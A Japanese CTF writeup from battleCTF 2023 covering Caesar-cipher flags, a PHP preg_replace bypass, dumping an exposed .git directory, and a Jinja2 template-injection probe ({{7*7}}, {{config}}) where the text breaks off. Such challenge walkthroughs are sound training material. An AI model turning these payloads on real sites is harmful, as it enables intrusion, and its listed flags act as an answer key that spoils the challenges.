Africa battleCTF 2023 prequal Writeup

この大会は2023/6/24 10:00(JST)~2023/6/26 8:00(JST)に開催されました。
この大会は個人戦。結果は3500点で361人中36位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (Misc 50)

Discordに入り、#announcementsチャネルのルールにフラグの例が書いてあった。

battleCTF{WeLoveAfrica}

Go (Misc 100)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

ROT13
battleCTF{EndTime_is_great}
battleCTF{EndTime_is_great}

SEYI (Reverse 150)

$ strings seyi | grep -a3 -b3 CTF
756-AVSH
761-/bin/echH
771-o "battlH
781:eCTF{TheH
791-_path_toH
801-path_to_H
811-light}" H
battleCTF{The_path_to_light}

babyrev (Reverse 200)

$ strings babyrev
        :
        :
Valid code... !
Invalid code...!
;*3$"
qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}
GCC: (Debian 12.2.0-1) 12.2.0
Scrt1.o
__abi_tag
crtstuff.c
        :
        :

フラグのシーザー暗号のようなものがある。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 15:
battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46}
battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46}

Civilization (Web 100)

http://chall.battlectf.online:8080/?sourceにアクセスしてみると、以下のコードを確認することができた。

<?php
require("./flag.php");
if(isset($_GET['source'])){
    highlight_file(__FILE__);  
}
if(isset($_GET['ami'])){
    $input = $_GET['ami'];
    $cigar = 'africacradlecivilization';
    if (preg_replace("/$cigar/",'',$input) === $cigar) {
        africa();
    }
}
include("home.html");
?>

'africacradlecivilization'の文字列の中に'africacradlecivilization'を入れ、africa()の実行条件を満たすようにする。
http://chall.battlectf.online:8080/?ami=africaafricacradlecivilizationcradlecivilizationにアクセスすると、上部にフラグが表示された。

Here is your invite code for this Africa Event: battleCTF{pr3gr4plAcebyp455_0x0x0x0x}
battleCTF{pr3gr4plAcebyp455_0x0x0x0x}

Own reality (Web 150)

http://chall.battlectf.online:8082/.git/にアクセスすると、gitのディレクトリ階層が見れる。オブジェクトの数もそれほど多くないので一つ一つ見ていく。

$ wget http://chall.battlectf.online:8082/.git/objects/ff/092a2d7c85f81a47131b7ef303ba8ece1a8492
--2023-06-24 17:54:43--  http://chall.battlectf.online:8082/.git/objects/ff/092a2d7c85f81a47131b7ef303ba8ece1a8492
chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39
chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 153 [application/octet-stream]
`092a2d7c85f81a47131b7ef303ba8ece1a8492' に保存中

092a2d7c85f81a47131b7ef303ba8ece 100%[=========================================================>]     153  --.-KB/s 時間 0s       

2023-06-24 17:54:43 (24.2 MB/s) - `092a2d7c85f81a47131b7ef303ba8ece1a8492' へ保存完了 [153/153]

$ python2 -c 'import zlib; print zlib.decompress(open("092a2d7c85f81a47131b7ef303ba8ece1a8492").read())'
commit 219tree 5301da49ce8a2d6123a62a1e5aaac8083851bf90
parent a1346a3abab8f97748e5480b61eb6824d4692f44
author w31rdr4v3n <w31rd.rav3n@gmail.com> 1682499482 -0400
committer w31rdr4v3n <w31rd.rav3n@gmail.com> 1682499482 -0400

Ok

$ wget http://chall.battlectf.online:8082/.git/objects/53/01da49ce8a2d6123a62a1e5aaac8083851bf90
--2023-06-24 17:56:37--  http://chall.battlectf.online:8082/.git/objects/53/01da49ce8a2d6123a62a1e5aaac8083851bf90
chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39
chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 86 [application/octet-stream]
`01da49ce8a2d6123a62a1e5aaac8083851bf90' に保存中

01da49ce8a2d6123a62a1e5aaac80838 100%[=========================================================>]      86  --.-KB/s 時間 0s       

2023-06-24 17:56:37 (5.69 MB/s) - `01da49ce8a2d6123a62a1e5aaac8083851bf90' へ保存完了 [86/86]

$ python2 -c 'import zlib; print zlib.decompress(open("01da49ce8a2d6123a62a1e5aaac8083851bf90").read())' | xxd -g 1
00000000: 74 72 65 65 20 37 33 00 31 30 30 37 35 35 20 61  tree 73.100755 a
00000010: 6d 69 2e 6a 70 67 00 d1 18 3f 3b b9 e0 75 87 1e  mi.jpg...?;..u..
00000020: 46 bb 37 9b 2b 73 0c aa 0a b5 25 31 30 30 37 35  F.7.+s....%10075
00000030: 35 20 69 6e 64 65 78 2e 68 74 6d 6c 00 c1 d1 7b  5 index.html...{
00000040: 3f b5 98 16 13 f3 a9 9e b1 f2 fb 43 bd 2b 3c e7  ?..........C.+<.
00000050: c3 0a                                            ..

$ wget http://chall.battlectf.online:8082/.git/objects/d1/183f3bb9e075871e46bb379b2b730caa0ab525
--2023-06-24 17:59:01--  http://chall.battlectf.online:8082/.git/objects/d1/183f3bb9e075871e46bb379b2b730caa0ab525
chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39
chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 389372 (380K) [application/octet-stream]
`183f3bb9e075871e46bb379b2b730caa0ab525' に保存中

183f3bb9e075871e46bb379b2b730caa 100%[=========================================================>] 380.25K   448KB/s 時間 0.8s     

2023-06-24 17:59:02 (448 KB/s) - `183f3bb9e075871e46bb379b2b730caa0ab525' へ保存完了 [389372/389372]

$ python2 -c 'import zlib; print zlib.decompress(open("183f3bb9e075871e46bb379b2b730caa0ab525").read())'
        :

$ wget http://chall.battlectf.online:8082/.git/objects/c1/d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3
--2023-06-24 18:03:41--  http://chall.battlectf.online:8082/.git/objects/c1/d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3
chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39
chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 868 [application/octet-stream]
`d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3' に保存中

d17b3fb5981613f3a99eb1f2fb43bd2b 100%[=========================================================>]     868  --.-KB/s 時間 0s       

2023-06-24 18:03:41 (221 MB/s) - `d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3' へ保存完了 [868/868]

$ python2 -c 'import zlib; print zlib.decompress(open("d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3").read())'
blob 1709<!DOCTYPE html>
<html>
<head>
       <title>Welcome to Africa</title>
       <meta charset="UTF-8">
       <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <style>
        body {
               background-image: url("ami.jpg");
               background-size: cover;
               background-position: center center;
               font-family: Arial, sans-serif;
               color: #fff;
               margin: 0;
               padding: 0;
               height: 100vh;
               display: flex;
               flex-direction: column;
               justify-content: center;
               align-items: center;
        }
        h1 {
               font-size: 5rem;
               margin: 0;
               text-align: center;
               text-shadow: 2px 2px 8px rgba(0, 0, 0, 0.6);
        }
        p {
               font-size: 1.5rem;
               margin: 1rem 0;
               text-align: center;
               text-shadow: 1px 1px 4px rgba(0, 0, 0, 0.6);
        }
      .container {
        max-width: 800px;
        margin: 0 auto;
        text-align: center;
        padding: 50px;
        background-color: rgba(0, 0, 0, 0.5);
      }
      
       </style>
</head>
<body>
       <h1>Welcome to Africa</h1>
       <p>Discover the beauty of the continent</p>
  <body>
    <div class="container">
      <p>Africa is the world's second-largest and second-most populous continent, located primarily in the eastern hemisphere. It is rich in natural resources, with diverse cultures and languages that make it one of the most unique places on earth. From the Sahara Desert to the savannas, rainforests, and coastal areas, Africa is home to a variety of flora and fauna, including the "Big Five" game animals. Despite its many challenges, Africa is a continent with great potential for growth and development, and its people are resilient, resourceful, and proud of their heritage.</p>
      <br>
    </div>
</body>
</html>

$ wget http://chall.battlectf.online:8082/.git/objects/a1/346a3abab8f97748e5480b61eb6824d4692f44
--2023-06-24 18:06:00--  http://chall.battlectf.online:8082/.git/objects/a1/346a3abab8f97748e5480b61eb6824d4692f44
chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39
chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 128 [application/octet-stream]
`346a3abab8f97748e5480b61eb6824d4692f44' に保存中

346a3abab8f97748e5480b61eb6824d4 100%[=========================================================>]     128  --.-KB/s 時間 0s       

2023-06-24 18:06:00 (9.54 MB/s) - `346a3abab8f97748e5480b61eb6824d4692f44' へ保存完了 [128/128]

$ python2 -c 'import zlib; print zlib.decompress(open("346a3abab8f97748e5480b61eb6824d4692f44").read())'
commit 177tree 189557a7f248736afe87d19a2a99e77d09dfe165
author w31rdr4v3n <w31rd.rav3n@gmail.com> 1682499374 -0400
committer w31rdr4v3n <w31rd.rav3n@gmail.com> 1682499374 -0400

Sability

$ wget http://chall.battlectf.online:8082/.git/objects/25/7df32e0eaa644e4a7658ebc4ba551d314d14f9
--2023-06-24 18:07:54--  http://chall.battlectf.online:8082/.git/objects/25/7df32e0eaa644e4a7658ebc4ba551d314d14f9
chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39
chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 4785 (4.7K) [application/octet-stream]
`7df32e0eaa644e4a7658ebc4ba551d314d14f9' に保存中

7df32e0eaa644e4a7658ebc4ba551d31 100%[=========================================================>]   4.67K  --.-KB/s 時間 0s       

2023-06-24 18:07:55 (805 MB/s) - `7df32e0eaa644e4a7658ebc4ba551d314d14f9' へ保存完了 [4785/4785]

$ python2 -c 'import zlib; print zlib.decompress(open("7df32e0eaa644e4a7658ebc4ba551d314d14f9").read())'
blob 17639[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib._abc.Loader'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'ast.AST'>, <class 'enum.nonmember'>, <class 'enum.member'>, <class 'enum._auto_null'>, <class 'enum.auto'>, <class 'enum._proto_member'>, <enum 'Enum'>, <class 'enum.verify'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 're._parser.State'>, <class 're._parser.SubPattern'>, <class 're._parser.Tokenizer'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing._NotIterable'>, typing.Any, <class 'typing._PickleUsingNameMixin'>, <class 'typing._BoundVarianceMixin'>, <class 'typing.Generic'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.NewType'>, <class 'typing.io'>, <class 'typing.re'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'platform._Processor'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'array.array'>, <class 'array.arrayiterator'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.SSLSession'>, <class '_ssl.Certificate'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'ast.NodeVisitor'>, <class 'dis._Unknown'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'textwrap.TextWrapper'>, <class 'traceback._Sentinel'>, <class 'traceback.FrameSummary'>, <class 'traceback._ExceptionPrintContext'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._KW_ONLY_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'unicodedata.UCD'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class '__future__._Feature'>, <class 'greenlet.greenlet'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'blinker._saferef.BoundMethodWeakref'>, <class 'blinker._utilities._symbol'>, <class 'blinker._utilities.symbol'>, <class 'blinker._utilities.lazy_property'>, <class 'blinker.base.Signal'>, <class 'dotenv.parser.Position'>, <class 'dotenv.parser.Reader'>, <class 'dotenv.variables.Atom'>, <class 'dotenv.main.DotEnv'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'werkzeug.debug.repr._Helper'>, <class 'werkzeug.debug.repr.DebugReprGenerator'>, <class 'werkzeug.debug.console.HTMLStringO'>, <class 'werkzeug.debug.console.ThreadedStream'>, <class 'werkzeug.debug.console._ConsoleLoader'>, <class 'werkzeug.debug.console.Console'>, <class 'werkzeug.debug.tbtools.Line'>, <class 'werkzeug.debug.tbtools.Traceback'>, <class 'werkzeug.debug.tbtools.Group'>, <class 'werkzeug.debug.tbtools.Frame'>, <class 'werkzeug.debug._ConsoleFrame'>, <class 'werkzeug.debug.DebuggedApplication'>, <class 'colorama.ansi.AnsiCodes'>, <class 'colorama.ansi.AnsiCursor'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'ctypes._endian._swapped_meta'>, <class 'colorama.winterm.WinColor'>, <class 'colorama.winterm.WinStyle'>, <class 'colorama.winterm.WinTerm'>, <class 'colorama.ansitowin32.StreamWrapper'>, <class 'colorama.ansitowin32.AnsiToWin32'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'pathlib._Flavour'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'werkzeug._reloader.ReloaderLoop'>]
.__..._..__...._.___._...___._...__.__...__.._._._....__._._._..._...__..____.__._._._._.__.___..__._.__.__.___..__.____.___.___.__.___.._._____.__..._..__._.._.___._...___..__._._____..__..__..___.....__._...__.._._.__.._._.__...._..__._....___.._.__..._...__._....__..._..__.___.__.._._.__.._._..__.._..__..__..__..__...__._._.__...._..__..._..__..__.__..__..__..._..__.._...__...__.__...__.__...._..__.__..__..__...__..__..__.._...__.___._____._

最後に"."と"_"で構成された文字列がある。"."を"0"、"_"を"1"にしてデコードする。

#!/usr/bin/env python3
enc = '.__..._..__...._.___._...___._...__.__...__.._._._....__._._._..._...__..____.__._._._._.__.___..__._.__.__.___..__.____.___.___.__.___.._._____.__..._..__._.._.___._...___..__._._____..__..__..___.....__._...__.._._.__.._._.__...._..__._....___.._.__..._...__._....__..._..__.___.__.._._.__.._._..__.._..__..__..__..__...__._._.__...._..__..._..__..__.__..__..__..._..__.._...__...__.__...__.__...._..__.__..__..__...__..__..__.._...__.___._____._'
enc = enc.replace('.', '0').replace('_', '1')

flag = ''
for i in range(0, len(enc), 8):
    flag += chr(int(enc[i:i+8], 2))
print(flag)
battleCTF{Unknown_bits_384eea49b417ee2ff5a13fbdcca6f327}

Cobalt Injection (Web 200)

HTMLソースを見ると以下のようなコメントがある。

<!-- IP?capital=Benin -->

http://chall.battlectf.online:8085/?capital=Kinshasaにアクセスする。正解だけど、それ以上の情報は表示されない。
http://chall.battlectf.online:8085/?capital={{7*7}}にアクセスすると、49と表示されたので、いろいろ指定してみる。

■http://chall.battlectf.online:8085/?capital={{config}}
